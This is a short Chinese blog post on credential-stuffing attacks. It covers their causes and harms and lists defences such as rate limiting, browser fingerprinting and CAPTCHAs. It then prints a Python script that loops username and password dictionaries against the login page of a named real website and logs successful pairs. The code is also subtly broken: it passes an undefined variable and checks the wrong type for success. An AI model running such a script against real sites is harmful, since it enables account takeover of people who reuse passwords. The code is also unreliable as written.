Python 撞庫與防禦策略

Python 撞庫
寫在前面: 淺談撞庫防禦策略
1. 撞庫成功的原因是什麼呢?

1.廣大網絡用戶爲了方便記憶,所有網站都使用同一套用戶名和密碼。

2.網站登錄的安全措施不夠。

2 撞庫的危害是什麼呢?

就企業而言保護用戶的信息安全是基本責任之一,泄露用戶信息會缺失公信力,損毀
公司品牌形象。

就個人而言小則騷擾電話天天有,大則個人財產不翼而飛。

3 撞庫這麼大的危害,作爲企業和網站主應該如何防止撞庫攻擊呢?

通過上面的例子我們可以發現,阻止撞庫登錄就是要讓黑客不能夠使用腳本程序進行批
量登錄。常用的方法有以下幾種:

 *①限制同一個IP的請求次數和請求頻率*

這是一種方法,但是由於IP代理的存在,作用也不是特別大。

*②使用cookie,flash cookie以及帆布指紋等方法*

目前也是有許多網站在使用這種策略,有一定的作用,但是也是可以被清除掉的。

③*添加驗證碼*

批量模擬登陸

import requests as req
import time
import re

#獲取文件
def getdic(file):
        dic = open(file).read()
        diclist = dic.split("\n")
        return diclist

def writeFile(filename,text):
        fo = open(filename, "a+")
        fo.write(text+"\n");
        # 關閉打開的文件
        fo.close()

#撞庫實際程序
def zhuangku(name,pwd):
        # {username} 替換{}中的內容爲用戶名
        newpwd = re.sub(r'{\w+}', name, pwd)
        url='http://www.nancheng.ccoo.cn/login/login.asp'  
        data={
                  'username' : name,
                  'password' : newpwd,
                  'k':'Sun Jul 17 2016 11:59:23 GMT+0800 (中國標準時間)40000'
            }
        headers = {}
        reqe = req.Session()
        s=reqe.post(url,data=data,headers=headers)
        return s.text

userlist  = getdic('dict/names_top500.txt')
passlist  = getdic('dict/password.txt')


lenmax_i=len(userlist)
lenmax_j = len(passlist)

for i in range(0,lenmax_i):
        for j in range(0,lenmax_j):
                name = userlist[i]
                passwd = passlist[j]
                res = zhuangku(name,pwd)
                if j == 10:
                    break
                else:
                    if res == 1:
                        print(name+passwd+"succsess") 
                        writeFile('/tmp/zhuangku.txt',name+passwd +'success')
                        break
                    else:
                        print (name+passwd+res)
                        #continue  
                    time.sleep(0.5)
print ("success")

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章